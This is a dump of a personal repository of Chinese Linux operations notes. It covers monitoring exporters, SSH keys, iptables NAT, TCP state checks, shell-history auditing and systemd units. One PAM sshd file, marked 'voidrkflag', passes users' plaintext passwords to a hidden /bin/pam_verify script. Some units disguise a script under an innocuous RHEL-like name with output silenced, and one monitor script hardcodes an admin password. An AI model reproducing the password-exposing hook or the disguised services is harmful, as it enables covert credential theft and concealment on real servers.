![jenkins单选主机发布9](https://github.com/Lancger/opslinux/blob/master/images/jenkins-9.png) 18 | 19 | ![jenkins单选主机发布10](https://github.com/Lancger/opslinux/blob/master/images/jenkins-10.png) 20 | 21 | 22 | 参考资料: 23 | 24 | https://www.jianshu.com/p/f4c9e424f24f Ansible 小手册系列 二十二(异步操作和轮询) 25 | 26 | https://www.jianshu.com/p/3962bf94ae70 ansible任务的异步执行 27 | -------------------------------------------------------------------------------- /kafka/zookeeper_exporter方式监控zk指标.md: -------------------------------------------------------------------------------- 1 | # 一、下载zookeeper_exporter 2 | 3 | ```bash 4 | #下载jmx程序包 5 | cd /usr/local/src/ 6 | wget https://github.com/carlpett/zookeeper_exporter/releases/download/v1.0.2/zookeeper_exporter 7 | 8 | #移动到zookeeper程序目录 9 | mkdir /usr/local/zookeeper/prometheus/ 10 | mv zookeeper_exporter /usr/local/zookeeper/prometheus/ 11 | ``` 12 | 13 | # 二、启动zookeeper_exporter 14 | ```bash 15 | /usr/local/zookeeper/prometheus/zookeeper_exporter 16 | 17 | curl localhost:9141/metrics 18 | ``` 19 | 20 | # 四、修改prometheus配置 21 | ```bash 22 | cat > /home/prometheus/prometheus.yml <<\EOF 23 | scrape_configs: 24 | # The job name is added as a label `job=` to any timeseries scraped from this config. 25 | - job_name: 'zk' #注意这里的job名称需要为zk 26 | static_configs: 27 | - targets: ['192.168.56.11:9141'] 28 | labels: 29 | instance: 192.168.56.11_9141 30 | EOF 31 | 32 | #重启prometheus 33 | docker restart prometheus 34 | ``` 35 | 36 | # 五、grafna导入视图 37 | ```bash 38 | #https://github.com/jiankunking/grafana-dashboards/blob/master/Prometheus_Zookeeper_Overview.json 39 | 40 | https://github.com/Lancger/opslinux/blob/master/kafka/zookeeper_dashboard.json 41 | ``` 42 | 43 | 参考资料: 44 | 45 | https://blog.csdn.net/qq_25934401/article/details/84345905 46 | 47 | https://github.com/jiankunking/grafana-dashboards Prometheus_Zookeeper_Overview.json 48 | -------------------------------------------------------------------------------- /linux/Inspection/python实现自动化之路(自动巡检服务器告警).md: -------------------------------------------------------------------------------- 1 | class 方式实现 2 | 3 | 参考文档: 4 | 5 | https://blog.csdn.net/s740556472/article/details/82890586 6 | -------------------------------------------------------------------------------- /linux/Inspection/监控服务器ssh登录并发送报警邮件.md: -------------------------------------------------------------------------------- 1 | ## 一、邮箱申请开启SMTP 2 | 3 | 在邮箱中选择“设置”----->“账户” 4 | 5 | ![SMTP开通](https://github.com/Lancger/opslinux/blob/master/images/smtp1.png) 6 | ![SMTP开通授权码](https://github.com/Lancger/opslinux/blob/master/images/smtp2.png) 7 | 8 | 9 | 10 | 参考文档: 11 | 12 | https://blog.csdn.net/qq_27565769/article/details/80731215 13 | -------------------------------------------------------------------------------- /linux/Linux远程强制重启触发器.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | echo 1 > /proc/sys/kernel/sysrq 3 | echo b > /proc/sysrq-trigger 4 | ``` 5 | 6 | 参考文档: 7 | 8 | https://www.cnblogs.com/klb561/p/11013746.html LINUX远程强制重启/proc/sys/kernel/sysrq /proc/sysrq-trigger----触发器 9 | -------------------------------------------------------------------------------- /linux/SSH配置免密码登录后,仍需要输入密码.md: -------------------------------------------------------------------------------- 1 | 在配置SSH免密码登录的时候,发现配置完成后仍然需要输入密码,查看网络资源,意识到是文件权限问题,但是按照网上的很多博客都不成功。后来发现了问题所在:不止authorized_keys需要修改文件权限,.ssh文件夹的权限也需要修改。而且,如果配置已经完成了,再回头修改文件权限似乎也不能成功。下面介绍可以成功实现免密码登录的操作步骤: 2 | 3 | (注:操作系统为CentOS) 4 | 5 | 1. 首先安装SSH 6 | ``` 7 | sudo apt-get install openssh-server 8 | ``` 9 | 2. 在根目录下创建.ssh文件,并将文件权限改为700. 10 | ``` 11 | cd ~ 12 | 13 | sudo mkdir .ssh 14 | 15 | chmod 700 .ssh 16 | ``` 17 | 3. 生成密钥文件(一路回车即可);生成的密钥文件就保存在.ssh文件夹下。 18 | ``` 19 | ssh-keygen -t rsa 20 | ``` 21 | 4. 配置单机回环SSH免密码登录:将公钥id_rsa.pub复制一份,重命名为authorized_keys,并将authorized_keys文件权限改为600. 22 | ``` 23 | sudo cp id_rsa.pub authorized_keys 24 | 25 | sudo chmod 600 authorized_keys 26 | ``` 27 | 5. 使用ssh localhost命令检查是否可以免密登录本机。 28 | ``` 29 | ssh localhost 30 | ``` 31 | 32 | 第一次登录的时候需要确认是否连接,输入yes,以后将不再需要输入。 现在我们并不需要输入密码就已经登录成功了。 33 | 34 | 本博客演示的是本机的免密登录,免密登录其他机器过程类似,可以参考网上的其他教程。唯一需要注意的是权限问题,尤其是.ssh的权限设置。 35 | 36 | 37 | 参考文档: 38 | 39 | https://blog.csdn.net/xiaoyi357/article/details/60470593 SSH配置免密码登录后,仍需要输入密码——解决方案 40 | -------------------------------------------------------------------------------- /linux/Shell 脚本中 curl 取得HTTP返回的状态码.md: -------------------------------------------------------------------------------- 1 | ```bash 2 | curl -I -m 10 -o /dev/null -s -w %{http_code} www.baidu.com 3 | 4 | 200 5 | ``` 6 | -------------------------------------------------------------------------------- /linux/TCP连接的状态详解以及故障排查.md: -------------------------------------------------------------------------------- 1 | https://yq.aliyun.com/articles/638468?spm=a2c4e.11155472.0.0.3ebd110cJ30dYb 2 | 3 | TCP连接的状态详解以及故障排查 4 | -------------------------------------------------------------------------------- /linux/dns/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | 3) 确保可用dns解析 3 | 4 | # grep hosts /etc/nsswitch.conf -- 注意这个文件,不然会出现解析不了域名的现象 5 | ------------------------------------------------------------------- 6 | hosts: files dns 7 | ------------------------------------------------------------------- 8 | 9 | ping -c 3 www.baidu.com 10 | ``` 11 | 参考文档: 12 | 13 | https://www.cnblogs.com/happyhotty/articles/2539951.html 解决linux ping: unknown host www.baidu.com 14 | 15 | https://www.cloudflare.com/zh-cn/learning/dns/what-is-dns/ 什么是 DNS? | DNS 的工作方式 16 | 17 | https://reaff.com/6109.html 使用Censys 查询CDN|如Cloudflare后面的真实服务器IP地址 与对应防范 18 | 19 | https://censys.io/ipv4?q=baidu.com https://censys.io/ipv4 20 | -------------------------------------------------------------------------------- /linux/dns/dns生效检测工具.md: -------------------------------------------------------------------------------- 1 | http://ceba.quansucloud.com/wstCeba/networkdetect/network-detect.action 网速通-DNS检测 2 | 3 | https://www.boce.com/ 拨测 4 | 5 | http://www.17ce.com/ 17ce 6 | -------------------------------------------------------------------------------- /linux/echo后面输出两个空行问题.md: -------------------------------------------------------------------------------- 1 | # 为什么`echo -e "\n"`命令只有一个换行符却会输出两行空行? 2 | 3 | ``` 4 | root@localhost:~# echo -e "\n" 5 | 6 | 7 | root@localhost:~# 8 | 9 | ``` 10 | 11 | 因为echo命令本身默认会在输出字符串后面追加一个换行符,可以通过增加一个选项-n来阻止此默认行为: 12 | ``` 13 | echo -ne "\n" 14 | ``` 15 | 16 | 参考资料: 17 | 18 | 19 | https://segmentfault.com/q/1010000009696097 20 | -------------------------------------------------------------------------------- /linux/ftp/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | <2019-09-02 19:16:52> /etc/nginx/conf.d 3 | root># cat conf.d/ftp.conf 4 | server { 5 | listen 80; 6 | server_name localhost; 7 | 8 | #charset koi8-r; 9 | access_log /var/log/nginx/host.access.log main; 10 | 11 | location /pub/banner/ { 12 | alias /data/ftpfile/pub/banner/; 13 | index index.html index.htm; 14 | autoindex on; 15 | } 16 | 17 | location /btc/banner/ { 18 | alias /data/ftpfile/btc/banner/; 19 | index index.html index.htm; 20 | autoindex on; 21 | } 22 | } 23 | ``` 24 | 25 | ``` 26 | 访问 27 | http://13.106.218.242/pub/banner/1567416168807.png 28 | 29 | http://13.106.218.242/btc/banner/1567416168807.png 30 | 31 | ``` 32 | -------------------------------------------------------------------------------- /linux/id_rsa和id_rsa.pub校验.md: -------------------------------------------------------------------------------- 1 | ``` 2 | diff -qs <(ssh-keygen -yf id_rsa) <(cut -d ' ' -f 1,2 id_rsa.pub) 3 | 4 | Files /dev/fd/63 and /dev/fd/62 are identical --- 这个表示key文件匹配 5 | 6 | 7 | diff -qs <(ssh-keygen -yf ~/.ssh/id_rsa) <(cut -d ' ' -f 1,2 ~/.ssh/id_rsa.pub) 8 | 9 | 以“-----BEGIN PUBLIC KEY-----”开头 “-----END PUBLIC KEY-----” 结尾 10 | 11 | 这种格式的需要使用openssl生成 12 | 13 | openssl genrsa -out id_rsa 1024 14 | openssl rsa -in id_rsa -pubout -out id_rsa.pub 15 | 16 | 至于验证id_rsa.pub和id_rsa是否匹配的方法如下: 17 | 18 | ssh-keygen -y -f id_rsa > id_rsa.pub.tobecompared 19 | 20 | 然后比较id_rsa.pub.tobecompared 与 id_rsa.pub 的内容是否一致 21 | 22 | 23 | ``` 24 | 25 | 参考文档: 26 | 27 | https://segmentfault.com/q/1010000008302009 怎么验证id_rsa.pub和id_rsa是否匹配 28 | 29 | https://blog.csdn.net/u010472499/article/details/53915683 检验公钥和私钥是否配对 30 | 31 | https://stackoverflow.com/questions/274560/how-do-you-test-a-public-private-dsa-keypair 32 | -------------------------------------------------------------------------------- /linux/ipmitool/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | #安装 3 | yum install ipmitool -y 4 | 5 | #手动加载模块 6 | modprobe ipmi_watchdog 7 | modprobe ipmi_poweroff 8 | modprobe ipmi_devintf 9 | modprobe ipmi_si 10 | modprobe ipmi_msghandler 11 | 12 | #查看远控卡IP 13 | ipmitool lan print 14 | 15 | #重置远控卡 16 | ipmitool mc reset cold 17 | ``` 18 | -------------------------------------------------------------------------------- /linux/iptables/Linux prerouting和postrouting的区别.md: -------------------------------------------------------------------------------- 1 | 2 | PREROUTING是目的地址转换(DNAT),要把别人的公网IP换成你们内部的IP,才让访问到你们内部受防火墙保护的服务器。 3 | 4 | POSTROUTING是源地址转换(SNAT),要把你内部网络上受防火墙保护的ip地址转换成你本地的公网地址才能让它们上网。 5 | 6 | ``` 7 | pre还是post是根据数据包的流向来确定的。 8 | 9 | 通常内网到外网是post,外望到内网是pre,但是外还是内只是个相对概念,在一定条件下是可以转换的。落实到网卡上,对于每个网卡数据流入的时候必然经过pre,数量流出必然经过post。 10 | ``` 11 | 12 | 一个简单的例子说明"PREROUTING"和"POSTROUTING"的不同应用环境: 13 | ``` 14 | 1.1 POSTROUTING的应用, 15 | 一般情况下,PREROUTING应用在普通的NAT中(也就是SNAT),如:你用ADSL上网,这样你的网络中只有一个公网IP地址(如:61.129.66.5),但你的局域网中的用户还要上网(局域网IP地址为:192.168.1.0/24),这时你可以使用PREROUTING(SNAT)来将局域网中用户的IP地址转换成61.129.66.5,使他们也可以上网: 16 | iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT --to 61.129.66.5 17 | 18 | 19 | 1.2 PREROUTING的应用, 20 | POSTROUTING用于将你的服务器放在防火墙之后,作为保护服务器使用,例如: 21 | A.你的服务器IP地址为:192.168.1.2; 22 | B.你的防火墙(Linux & iptables)地址为192.168.1.1和202.96.129.5 23 | 24 | Internet上的用户可以正常的访问202.96.129.5,但他们无法访问192.168.1.2,这时在Linux防火墙里可以做这样的设置: 25 | iptables -t nat -A PREROUTING -p tcp -m tcp --dport 20002 -j DNAT --to-destination 10.33.35.41:22 26 | 27 | 结:最要紧的是我们要记住PREROUTING是“路由规则”之前的动作,POSTROUTING是“路由规则”之后的动作! 28 | ``` 29 | 参考文档: 30 | 31 | https://www.cnblogs.com/wspblog/p/4297160.html Linux prerouting和postrouting的区别 32 | 33 | https://jingyan.baidu.com/article/aa6a2c143d84470d4c19c4cf.html 如何区分iptables的PREROUTING和POSTROUTING链 34 | -------------------------------------------------------------------------------- /linux/iptables/iptables原理系列篇.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | http://www.zsythink.net/archives/category/%e8%bf%90%e7%bb%b4%e7%9b%b8%e5%85%b3/iptables/ iptables原理和概念系列文档 4 | -------------------------------------------------------------------------------- /linux/iptables/服务器被黑处理.md: -------------------------------------------------------------------------------- 1 | # 一、查看定时任务日志 2 | ``` 3 | cd /var/log && cat cron | grep .sh 4 | 5 | cat /etc/crontab 6 | 7 | crontab -l 8 | ``` 9 | 10 | # 二、安装iftop监控流量 11 | ``` 12 | yum install flex byacc libpcap ncurses ncurses-devel libpcap-devel -y 13 | 14 | 下载iftop 15 | 16 | wget http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz 17 | 18 | tar zxvf iftop-0.17.tar.gz 19 | 20 | cd iftop-0.17 21 | 22 | ./configure 23 | 24 | make && make install 25 | ``` 26 | -------------------------------------------------------------------------------- /linux/java/CPU 100%,以及Full GC次数过多问题的排查思路.md: -------------------------------------------------------------------------------- 1 | 2 | 参考文档: 3 | 4 | https://my.oschina.net/zhangxufeng/blog/3017521 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路 5 | 6 | 7 | https://mp.weixin.qq.com/s?__biz=MzA4Nzg5Nzc5OA==&mid=2651678188&idx=1&sn=8bd55225506e1f57469ca3e262462e56&chksm=8bcba645bcbc2f53d9f2c1c7dec6d793a9eb7a233e0d7517737aacf9f726af8e5ec47129f99a&mpshare=1&scene=23&srcid=#rd 一次性搞清楚线上CPU100%,频繁FullGC排查套路 8 | -------------------------------------------------------------------------------- /linux/java/Nginx SSL+tomcat集群,request.getScheme() 取到https正确的协议详解.md: -------------------------------------------------------------------------------- 1 | 公司之前用的是http,但是出于苹果app审核和服务器安全性问题,要改为https,架构上使用了 Nginx +tomcat 集群, 且nginx下配置了SSL,tomcat 没有配置SSL,项目使用https协议。 2 | 3 | 参考资料: 4 | 5 | http://webapp.org.ua/sysadmin/setting-up-nginx-ssl-reverse-proxy-for-tomcat/ Setting up NGINX SSL reverse proxy for Tomcat 6 | 7 | https://blog.csdn.net/tjcyjd/article/details/70185224 Nginx SSL+tomcat集群,request.getScheme() 取到https正确的协议详解 8 | -------------------------------------------------------------------------------- /linux/java/activemq队列长度监控.md: -------------------------------------------------------------------------------- 1 | # 一、监控脚本 2 | 3 | cat activemqqueue.sh 4 | ``` 5 | #!/bin/bash 6 | #author:Bryan 7 | #define common info 8 | HOST=192.168.52.110 9 | PORT=8161 10 | USER=admin 11 | PASSWORD=bllnetwell!#@2019 12 | 13 | #obtain queue's Pending,Consumers,Enqueued,Dequeued 14 | function Queue() 15 | { 16 | Count=$(curl -u"$USER":"$PASSWORD" http://$HOST:$PORT/admin/queues.jsp 2> /dev/null |grep -A 5 "^$1"|grep -oP '\d+'); 17 | #echo $Count 18 | Pending=$(echo $Count |awk '{print $1}'); 19 | #echo $Count 20 | Consumers=$(echo $Count |awk '{print $2}'); 21 | Enqueued=$(echo $Count |awk '{print $3}'); 22 | Dequeued=$(echo $Count |awk '{print $4}'); 23 | #EndeltaDn=$(($Enqueued - $Dequeued)) 24 | #echo '-------------' 25 | #echo -e "$Pending\n$Consumers\n$Enqueued\n$Dequeued"; 26 | #echo "$2" 27 | if [ "$2" = '' ];then 28 | exit 29 | fi 30 | if [ "$2" = 'Pending' ];then 31 | echo $Pending 32 | elif [ "$2" = 'Consumers' ];then 33 | echo $Consumers 34 | elif [ "$2" = 'Enqueued' ];then 35 | echo $Enqueued 36 | #elif [ "$2" = 'EndeltaDn' ];then 37 | # echo $EndeltaDn 38 | else 39 | echo $Dequeued 40 | fi 41 | } 42 | 43 | #call function and input queue_name queue_type 44 | Queue $1 $2 45 | ``` 46 | 47 | # 二、测试 48 | ``` 49 | ./activemqqueue.sh PID_CZ_VALIDATE_TEST_CZ_VALIDATE_TEST Pending 50 | ``` 51 | 52 | 参考资料: 53 | 54 | https://www.cnblogs.com/xkops/p/5591983.html 55 | -------------------------------------------------------------------------------- /linux/java/tomcat8.md: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | 10 | 启动时预留100个,最大空闲维护500个 暴增时排队队列最大1500个 端口http协议最大访问并发数2000 11 | -------------------------------------------------------------------------------- /linux/java/tomcat日志切割.md: -------------------------------------------------------------------------------- 1 | # 一、安装依赖 2 | 3 | ``` 4 | wget https://github.com/Lancger/opslinux/blob/master/linux/java/cronolog-1.6.2.tar.gz 5 | tar zxvf cronolog-1.6.2.tar.gz 6 | cd cronolog-1.6.2 7 | ./configure 8 | make && make install 9 | ``` 10 | -------------------------------------------------------------------------------- /linux/java/生产CPU 高负载排查实践.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://crossoverjie.top/2018/12/17/troubleshoot/cpu-percent-100/ 一次生产 CPU 100% 排查优化实践 4 | https://segmentfault.com/a/1190000019507028 再一次生产 CPU 高负载排查实践 5 | -------------------------------------------------------------------------------- /linux/notice_telegram: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/notice_telegram -------------------------------------------------------------------------------- /linux/pam_verify: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/pam_verify -------------------------------------------------------------------------------- /linux/sed替换文件处理.md: -------------------------------------------------------------------------------- 1 | ## 一、替换前 2 | ``` 3 | [root@localhost path]# cat /etc/profile 4 | export GOROOT=/usr/local/go 5 | export PATH=$PATH:$TEST 6 | export GOPATH=/opt/path/ 7 | 8 | ``` 9 | ## 二、替换后 10 | 使用#来替换分隔符/ 11 | 12 | ``` 13 | 替换命令 14 | sed -i 's#export PATH=$PATH.*#export PATH=$PATH:$GOROOT/bin:$GOPATH/bin#g' /etc/profile ---注意这里必须是单引号,不然无效 15 | 16 | [root@localhost path]# cat /etc/profile 17 | 18 | export GOROOT=/usr/local/go 19 | export PATH=$PATH:$GOROOT/bin:$GOPATH/bin 20 | export GOPATH=/opt/path/ 21 | ``` 22 | 23 | 参考文档: 24 | 25 | https://blog.csdn.net/sch0120/article/details/80323904 解决sed替换“路径”字符串的问题 26 | -------------------------------------------------------------------------------- /linux/shell/README.md: -------------------------------------------------------------------------------- 1 | https://mp.weixin.qq.com/s/A3z0E8bZaE4gi6VYASEzmQ 30个Linux Shell脚本经典案例(上) 2 | 3 | 4 | https://mp.weixin.qq.com/s/O2vbWbJ-K68nXxvVwUCfaw 30个Linux Shell脚本经典案例(中) 5 | 6 | 7 | https://mp.weixin.qq.com/s/j_cypUsUWhTQtArLz7IyQA 30个Linux Shell脚本经典案例(下) 8 | 9 | 10 | https://mp.weixin.qq.com/s/GO-OcBJ29uuown4sS3puaw 10 个实战的 Shell 脚本编程 11 | 12 | 13 | https://www.jianshu.com/p/ba1b8aded634 SHELL输出颜色和闪烁控制 14 | -------------------------------------------------------------------------------- /linux/shell网站资料.md: -------------------------------------------------------------------------------- 1 | http://blog.51cto.com/lizhenliang/1607723 2 | -------------------------------------------------------------------------------- /linux/ssh_login_monitor.go: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/ssh_login_monitor.go -------------------------------------------------------------------------------- /linux/sshd: -------------------------------------------------------------------------------- 1 | #%PAM-1.0 2 | auth required pam_sepermit.so 3 | auth substack password-auth 4 | auth include postlogin 5 | # Used with polkit to reauthorize users in remote sessions 6 | -auth optional pam_reauthorize.so prepare 7 | account required pam_nologin.so 8 | account include password-auth 9 | password include password-auth 10 | # pam_selinux.so close should be the first session rule 11 | session required pam_selinux.so close 12 | session required pam_loginuid.so 13 | # pam_selinux.so open should only be followed by sessions to be executed in the user context 14 | session required pam_selinux.so open env_params 15 | session required pam_namespace.so 16 | session optional pam_keyinit.so force revoke 17 | session include password-auth 18 | session include postlogin 19 | # Used with polkit to reauthorize users in remote sessions 20 | -session optional pam_reauthorize.so prepare 21 | # voidrkflag 22 | auth [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify 23 | password [default=ignore] pam_exec.so expose_authtok quiet /bin/pam_verify 24 | -------------------------------------------------------------------------------- /linux/tcp/QUIC-快速UDP互联网连接.md: -------------------------------------------------------------------------------- 1 | 参考文档: 2 | 3 | https://www.jianshu.com/p/2fbc26eb348a 4 | -------------------------------------------------------------------------------- /linux/tcp/paping测试tcp通信情况.md: -------------------------------------------------------------------------------- 1 | # 一、下载安装包 2 | ``` 3 | cd /tmp/ 4 | wget -O /tmp/paping_1.5.5_x86-64_linux.tar.gz https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/paping/paping_1.5.5_x86-64_linux.tar.gz 5 | tar -zxvf paping_1.5.5_x86-64_linux.tar.gz 6 | ``` 7 | 8 | # 二、测试 9 | ``` 10 | ./paping -p 80 -c 10 www.baidu.com 11 | 12 | ./paping -p 443 -c 10 www.baidu.com 13 | ``` 14 | 15 | # 三、 16 | ``` 17 | root># netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 18 | LAST_ACK 6 19 | SYN_RECV 21 20 | ESTABLISHED 176 21 | TIME_WAIT 2619 22 | 23 | sysctl -w net.ipv4.tcp_timestamps=0 24 | sysctl -w net.ipv4.tcp_tw_recycle=0 25 | 26 | root># netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 27 | ESTABLISHED 276 28 | FIN_WAIT1 1 29 | FIN_WAIT2 101 30 | TIME_WAIT 160 ---TIME_WAIT明显下降 31 | ``` 32 | 33 | 参考资料: 34 | 35 | https://www.cnblogs.com/sysk/p/6427804.html 36 | 37 | https://blog.csdn.net/enweitech/article/details/79261439 网络优化之net.ipv4.tcp_tw_recycle参数 38 | -------------------------------------------------------------------------------- /linux/tcp/如何选择长连接和短连接.md: -------------------------------------------------------------------------------- 1 | # 一、长连接和短连接概念解释 2 | ``` 3 | 4 | 长连接: 5 | 6 | 长时间保持客户端与服务端的连接状态。默认超时时间8小时 7 | 8 | 短连接: 9 | 10 | 数据传输完毕立即断开,每次连接只完成一项业务的发送。 11 | 12 | 短连接的原理: 13 | 14 | 客户端连接--创建socket认证连接--维护连接--数据传输--关闭连接 #连接-》数据传输-》关闭连接; 15 | 16 | 长连接的原理: 17 | 18 | 客户端连接--创建socket认证连接--维护连接--数据传输--维护连接--数据传输.....-关闭连接 #连接-》数据传输-》保持连接-》数据传输-》保持连接-》…………-》关闭连接; 19 | ``` 20 | 21 | # 二、如何选择长短连接 22 | ``` 23 | 24 | 总结 25 | 26 | 如果业务来往比较频繁,则选择长连接。 27 | 如果server要主动给client发数据,则选择长连接。 28 | 29 | ``` 30 | 31 | 32 | 参考资料: 33 | 34 | 35 | https://www.cnblogs.com/linuxws/p/10312834.html 36 | 37 | https://www.jianshu.com/p/813e89e115a8 如何选择TCP长连接与短连接 38 | -------------------------------------------------------------------------------- /linux/tcp/服务器tcp连接状态.md: -------------------------------------------------------------------------------- 1 | # 一、服务器连接状态统计 2 | ``` 3 | #方式一 4 | [root@linux-node2 ~]# ss -ant | awk 'NR>=2 {++State[$1]} END {for (key in State) print key,State[key]}' 5 | LISTEN 5 6 | ESTAB 7 7 | TIME-WAIT 2 8 | 9 | #方式二 10 | [root@linux-node2 ~]# netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' 11 | ESTABLISHED 7 12 | TIME_WAIT 3 13 | 14 | #各种状态详解 15 | TCP连接状态详解 16 | LISTEN: 侦听来自远方的TCP端口的连接请求 17 | SYN-SENT: 再发送连接请求后等待匹配的连接请求 18 | SYN-RECEIVED:再收到和发送一个连接请求后等待对方对连接请求的确认 19 | ESTABLISHED: 代表一个打开的连接 20 | FIN-WAIT-1: 等待远程TCP连接中断请求,或先前的连接中断请求的确认 21 | FIN-WAIT-2: 从远程TCP等待连接中断请求 22 | CLOSE-WAIT: 等待从本地用户发来的连接中断请求 23 | CLOSING: 等待远程TCP对连接中断的确认 24 | LAST-ACK: 等待原来的发向远程TCP的连接中断请求的确认 25 | TIME-WAIT: 等待足够的时间以确保远程TCP接收到连接中断请求的确认 26 | CLOSED: 没有任何连接状态 27 | ``` 28 | 29 | # 二、查出哪个IP地址连接最多,将其封了 30 | 31 | ``` 32 | [root@linux-node2 ~]# netstat -na|grep ESTABLISHED|awk {'print $5'}|awk -F: {'print $1'}|sort|uniq -c|sort -nr|head -10 33 | 181 192.168.52.112 34 | 164 192.168.52.114 35 | 99 203.90.247.93 36 | 90 203.90.247.79 37 | 86 192.168.52.113 38 | 64 110.87.15.245 39 | 63 27.186.130.18 40 | 59 58.34.9.219 41 | 57 183.52.138.180 42 | 55 223.74.220.205 43 | ``` 44 | -------------------------------------------------------------------------------- /linux/tcp/用动画给女朋友讲解 TCP 四次分手过程.md: -------------------------------------------------------------------------------- 1 | https://mp.weixin.qq.com/s/P5hexRQMd46LHFDx2_AwNw 2 | -------------------------------------------------------------------------------- /linux/tcp/用动画给面试官解释 TCP 三次握手过程.md: -------------------------------------------------------------------------------- 1 | 参考资料: 2 | 3 | https://mp.weixin.qq.com/s/HNrY1sMk14_ogqCZ8s_2sw 4 | -------------------------------------------------------------------------------- /linux/tools/1.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /linux/tools/history_conf: -------------------------------------------------------------------------------- 1 | #HISTSIZE=4096 2 | #HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT 3 | #export HISTORY_FILE=/var/log/.shell_audit/audit.log 4 | #export PROMPT_COMMAND='{ code=$?;thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logDay=${whoStr[2]};logTime=${whoStr[3]};pid=${whoStr[5]};ip=${whoStr[6]};if [[ ${thisHistID}x != ${lastHistID}x ]];then echo -E `date "+%Y/%m/%d %H:%M:%S"` $user\($realUser\)@$ip[PID:$pid][LOGIN:$logDay $logTime] --- [$PWD]$lastCommand [$code];lastHistID=$thisHistID;fi; } >> $HISTORY_FILE' 5 | 6 | #2022-02-12优化历史命令显示 7 | HISTSIZE=20 8 | HISTTIMEFORMAT="%Y/%m/%d %T ";export HISTTIMEFORMAT 9 | export HISTORY_FILE=/var/log/.shell_audit/audit.log 10 | export PROMPT_COMMAND='{ code=$?;thisHistID=`history 1|awk "{print \\$1}"`;lastCommand=`history 1| awk "{\\$1=\"\" ;print}"`;user=`id -un`;whoStr=(`who -u am i`);realUser=${whoStr[0]};logDay=${whoStr[2]};logTime=${whoStr[3]};pid=${whoStr[5]};ip=`echo ${whoStr[6]}|tr -d "()"`;if [[ ${thisHistID}x != ${lastHistID}x ]];then echo -E [`date "+%Y/%m/%d %H:%M:%S"`] [$realUser@$ip] [$user] [PID:$pid] [LOGIN:$logDay $logTime] -- [$PWD] [$lastCommand ] [$code];lastHistID=$thisHistID;fi; } >> $HISTORY_FILE' 11 | -------------------------------------------------------------------------------- /linux/tools/limit/README: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /linux/tools/limit/restart-rhel-sch-control.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Restart rhel-sch-control.service 3 | 4 | [Service] 5 | Type=oneshot 6 | ExecStart=/usr/bin/systemctl restart rhel-sch-control.service 7 | 8 | [Install] 9 | WantedBy=multi-user.target 10 | -------------------------------------------------------------------------------- /linux/tools/limit/restart-rhel-sch-control.timer: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Restart rhel-sch-control.service every minute 3 | 4 | [Timer] 5 | OnCalendar=*-*-* 02:00:00 6 | Persistent=true 7 | 8 | [Install] 9 | WantedBy=timers.target 10 | -------------------------------------------------------------------------------- /linux/tools/limit/rhel-sch-control.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Read-sch Update Data 3 | After=network.target 4 | 5 | [Service] 6 | Type=simple 7 | ExecStart=/usr/local/share/info/tc-speed-limit start 8 | ExecStop=/usr/local/share/info/tc-speed-limit stop 9 | ExecReload=/usr/local/share/info/tc-speed-limit restart 10 | User=root 11 | Group=root 12 | RemainAfterExit=yes 13 | StandardOutput=null 14 | StandardError=null 15 | 16 | [Install] 17 | WantedBy=multi-user.target 18 | -------------------------------------------------------------------------------- /linux/tools/limit/tc-speed-limit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/limit/tc-speed-limit -------------------------------------------------------------------------------- /linux/tools/login_profile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/login_profile -------------------------------------------------------------------------------- /linux/tools/logout_profile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/logout_profile -------------------------------------------------------------------------------- /linux/tools/notice_profile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/notice_profile -------------------------------------------------------------------------------- /linux/tools/notice_profile_gw: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/notice_profile_gw -------------------------------------------------------------------------------- /linux/tools/notice_telegram: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/notice_telegram -------------------------------------------------------------------------------- /linux/tools/tc-speed-limit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Lancger/opslinux/4b84e314dec99c3c4812e7fefbf71fc8271b6b06/linux/tools/tc-speed-limit -------------------------------------------------------------------------------- /linux/tools/ubuntu_history_conf: 